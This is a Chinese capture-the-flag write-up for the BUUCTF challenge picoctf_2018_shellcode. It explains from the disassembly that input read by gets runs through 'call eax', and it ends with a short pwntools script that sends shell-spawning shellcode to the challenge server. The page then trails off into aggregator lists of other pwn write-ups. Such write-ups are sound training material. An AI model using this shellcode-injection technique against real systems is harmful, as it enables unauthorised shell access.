[BUUCTF-pwn]——picoctf_2018_shellcode
[BUUCTF-pwn]——picoctf_2018_shellcode
- 题目地址:https://buuoj.cn/challenges#picoctf_2018_shellcode
论学好汇编的重要性。在这道题得到了体现。
第一次面向汇编, 说实话看的挺慢的。
话不多说
直接上
checksec看下
IDA中没法发反汇编,只能面向汇编编程。无法反汇编是call eax的问题,但是这个指令应该没有错,只能说这个时间eax存储着一个函数地址。也就是[ebp+var_A0]偏移处的函数。
我们可以发现这个偏移也是vuln函数的参数。在vuln函数内,我们发现gets函数写入的位置也是这里(ebp+8,32位就是参数的位置)。
所以也就是我们直接写入shellcode,当执行call eax时就会自动执行。
当然这个只有main函数不可以反汇编其他还是可以的,你们也可以结合参考一下
exploit
from pwn import *
p = remote("node3.buuoj.cn",27027)
shellcode = asm(shellcraft.sh())
p.sendlineafter('Enter a string!\n',shellcode)
p.interactive()
[BUUCTF-pwn]——picoctf_2018_shellcode相关推荐
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
- Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...
最新文章
- 第一天写,希望能坚持下去。
- 求表达式1-1/2+1/3-1/4+1/5-1/6+1/7-...+1/n的值
- android 手机投影演示 ——vysor操作手册
- Android Binder总结
- python观察日志(part1)--字典反向查找
- Go-项目结构和代码组织
- ASP.NET企业开发框架IsLine FrameWork系列之十五--框架配置信息大全(下)
- Scaling For iPad mini
- eclipse没有server选项怎么解决
- 深入理解SYN***.+防范思想及ROS设置
- GAN:两者分布不重合JS散度为log2的数学证明
- 计算机汉字录入及信息表示,2010年青岛市初中8年级信息技术会考考试知识点说明...
- 微信小程序的封装和登录
- 用ipv6搭建文件服务器,ipv6服务器搭建
- 【论文解读】Sort、Deep-Sort多目标跟踪算法
- 西方哲学史人物学说时间线
- laravel5.5.50之权限(laravel-permissions)的使用
- python 频数分布,频率分布
- linux 解压zip大文件(解决乱码问题)
- Java程序员跳槽涨薪面试心得
热门文章
- 718. Maximum Length of Repeated Subarray 最长重复子数组
- 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言—— 1051:分段函数
- 深度学习——05、深度学习框架Caffe
- Go语言集合(Map)
- 【工业控制】OmniCal软件安装和使用详解
- 【工业控制】激光跟踪仪概述
- 【Linux】一步一步学Linux——skill命令(143)
- python读取nc文件并转换成csv_Python提取netCDF数据并转换为csv文件
- c语言字符串替换有大小写,(C语言)字符串大小写无关查找替换
- Linux下串口编程基础